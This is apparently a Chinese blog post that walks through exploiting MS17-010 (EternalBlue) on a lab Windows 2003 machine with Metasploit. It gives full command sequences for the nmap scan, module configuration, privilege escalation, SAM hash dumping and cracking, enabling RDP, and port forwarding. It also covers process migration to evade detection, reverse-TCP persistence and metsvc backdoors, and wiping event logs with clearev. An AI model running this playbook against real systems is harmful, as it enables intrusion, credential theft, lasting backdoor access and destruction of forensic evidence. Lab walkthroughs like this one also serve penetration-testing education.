MS17-010(永恒之蓝)远程溢出漏洞

MS17-010远程溢出漏洞(CVE-2017-0143)

描述

继2016年 8 月份黑客组织 Shadow Brokers 放出第一批 NSA “方程式小组”内部黑客工具后,2017 年 4 月 14 日,Shadow Brokers 再次公布了一批新的 NSA 黑客工具,其中包含了一个攻击框架和多个 Windows 漏洞利用工具。攻击者利用这些漏洞可以远程获取 Windows 系统权限并植入后门。

针对此次泄露的漏洞,微软提前发布了安全公告 MS17-010,修复了泄露的多个 SMB 远程命令执行漏洞。由于此次泄露的漏洞覆盖了大部分常见的 Windows 版本(包括微软不再提供更新服务的 Windows XP 和 Windows Server 2003),网络空间中仍然存在大量可被入侵的设备

永恒之蓝漏洞是通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

漏洞影响

Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

目前在Metasploit上集成的攻击载荷是ms17_010_psexec和ms17_010_eternalblue

环境准备

1.防火墙允许SMB流量进出

2.缺少MS17-010补丁

实验配置

1.基于kali的metasploit攻击框架

2.靶机(Windows 2003 R2)

ip:192.168.233.146

信息收集

 nmap --script=vuln 192.168.233.146

  根据以下扫描结果可以看出,192.168.233.146靶机上存在ms17-010漏洞,从而我们可以在metasploit中查找是否存在相应的模块可以利用。

 

 

漏洞利用

msfconsole

  在终端输入命令msfconsole命令即可在kali linux中启动Metasploit工具

 

 

search ms17-010

  search命令后跟上关键字即可模糊查找指定模块

use exploit/windows/smb/ms17_010_psexec 

  使用use命令后跟上模块名,即可进入该模块环境下使用其进行渗透作业

show options

  使用show options命令列出当前使用的模块正确运行所需要配置的所有参数(根据Required字段值来判断对应参数是否为必填项)

附上这三步的截图:

 

 配置环节

使用set命令对某个参数进行设置(同时启用该参数),使用unset命令可以禁用相关参数

msf5 exploit(windows/smb/ms17_010_psexec) > set DBGTRACE false 
DBGTRACE => false
msf5 exploit(windows/smb/ms17_010_psexec) > set LEAKATTEMPTS 99
LEAKATTEMPTS => 99
msf5 exploit(windows/smb/ms17_010_psexec) > set NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
NAMED_PIPES => /usr/share/metasploit-framework/data/wordlists/named_pipes.txt
msf5 exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.233.146
rhost => 192.168.233.146
msf5 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.233.146
rhosts => 192.168.233.146
msf5 exploit(windows/smb/ms17_010_psexec) > set rport 445
rport => 445
msf5 exploit(windows/smb/ms17_010_psexec) > set SHARE ADMIN$
SHARE => ADMIN$

  

 

 配置完成后要正常使用模块所必需配置的参数,即可使用run命令来运行此模块。

 

 从下面输出可以看出,我们已经利用ms17_010漏洞模块成功侵入目标服务器,并打开了一个meterpreter的shell。这个里面我们可以直接输入dos命令来对系统进行操作:例如可以查下ip、创建用户、开启远程等。

可以使用ifconfig查看一下IP

 

 成功!

 

后渗透阶段

先介绍一下Meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。

  

help命令   (查看在meterpreter模块下执行的命令)

 

 发现了sysinfo //查看系统信息

 

 getsystem //提升到system权限

 

 hashdump  //到处SAM数据库的内容

 

 SAM简介

SAM是windows系统的一个系统用户账号管理文件。其全称为security account manager。Windows中对用户账户的安全管理使用了安全账号管理器SAM(security account manager)的机制,安全账号管理器对账号的管理是通过安全标识进行的,安全标识在账号创建时就同时创建,一旦账号被删除,安全标识也同时被删除。安全标识是唯一的,即使是相同的用户名,在每次创建时获得的安全标识都时完全不同的。因此,一旦某个账号被删除,它的安全标识就不再存在了,即使用相同的用户名重建账号,也会被赋予不同的安全标识,不会保留原来的权限。
其文件位置:C:\windows\system32\config\SAM

  

其格式是 用户名称:RID:LM-HASH值:NT-HASH:::

在Windows系统下,有两大hash,分别是LM HASH&NT HASH

对于NT HASH,我们直接可以在cmd5网站进行解密,解密Administrator用户密码为redhat

 

msf exploit(windows/smb/ms17_010_psexec) >run post/windows/manage/enable_rdp //打开目标服务器的远程连接
 
msf exploit(windows/smb/ms17_010_psexec) >exploit
meterpreter > portfwd add -l 2222 -r 192.168.135.136 -p 3389  //反弹目标的3389端口到本地的2222端口并监听该端口
[*] Local TCP relay created: :2222 <-> 192.168.135.136:3389
meterpreter > portfwd    //查看是否反弹成功
 
Active Port Forwards
====================
 
   Index  Local         Remote                Direction
   -----  -----         ------                ---------
     0.0.0.0:2222  192.168.135.136:3389  Forward
total active port forwards.
 
root@kali:~# netstat -an | grep "2222"  //我们在kali查看2222端口是在监听状态
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN    
root@kali:~# rdesktop 127.0.0.1:2222 //连接本地的2222端口反弹到目标的3389端口,即打开目标的桌面
 
meterpreter > ps  //查看系统进程
 
Process List
============
 
 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
    0     [System Process]                                               
    0     System             x86   0        NT AUTHORITY\SYSTEM          
  2792  mstsc.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\mstsc.exe
  4     smss.exe           x86   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
  808   explorer.exe       x86   0        LOUISNIE\Administrator        C:\WINDOWS\Explorer.EXE
  264   csrss.exe          x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\csrss.exe
  264   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM           \??\C:\WINDOWS\system32\winlogon.exe
  336   services.exe       x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\services.exe
  336   lsass.exe          x86   0        NT AUTHORITY\SYSTEM           C:\WINDOWS\system32\lsass.exe
  1744  wuauclt.exe        x86   2        LOUISNIE\Administrator        C:\WINDOWS\system32\wuauclt.exe
  384   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM
 
meterpreter > migrate 292 //将该会话和系统进程绑定,免杀.格式是:migrate PID
 
meterpreter > execute -H -i -f cmd.exe //创建新进程cmd.exe,-H不可见,-i交互 -f用系统命令去执行
 
meterpreter > kali 1569  //杀死进程,格式是:kali PID

  植入后门,维持控制

 

msf exploit(windows/smb/ms17_010_psexec) > sessions  -i 2  //开启第二个会话
[*] Starting interaction with 2...
 
meterpreter > run persistence - X -i 5 -p 4445 -r 192.168.135.136 //运行后门程序,-X指定启动的方式为开机自启动,-i反向连接的时间间隔
 
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/MYCOMPUTER_20190219.3953/MYCOMPUTER_20190219.3953.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.135.136 LPORT=4445
[*] Persistent agent script is 99670 bytes long
 
meterpreter > background
[*] Backgrounding session 2...
msf exploit(windows/smb/ms17_010_psexec) > back
msf > use exploit/multi/handler    //使用exploit/multi/handler监听连入的backdoor
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp  //设置载荷
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.135.134  //设置将反弹到本地来
lhost => 192.168.135.134
msf exploit(multi/handler) > exploit
 
[*] Started reverse TCP handler on 192.168.135.134:4444
[*] Sending stage (179779 bytes) to 192.168.135.136
[*] Sleeping before handling stage...
[*] Meterpreter session 3 opened (192.168.135.134:4444 -> 192.168.135.136:2364) at 2019-02-19 21:42:12 +0800
[*] Sending stage (179779 bytes) to 192.168.135.136
[*] Sleeping before handling stage...
[*] Meterpreter session 4 opened (192.168.135.1

  

或者可以使用metsvc模块来留下后门

metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:

  • metsvc.dll

  • metsvc-service.exe

  • metsvc.exe

    msf exploit(multi/handler) > sessions -i 2 //选择一个会话
    meterpreter > run metsvc //运行metsvc

     

    清除日志:

    meterpreter > clearev
    [*] Wiping 1 records from Application...
    [*] Wiping 26 records from System...
    [*] Wiping 2281 records from Security..
posted @ 2020-05-15 19:51  陈子硕  阅读(3208)  评论(0编辑  收藏  举报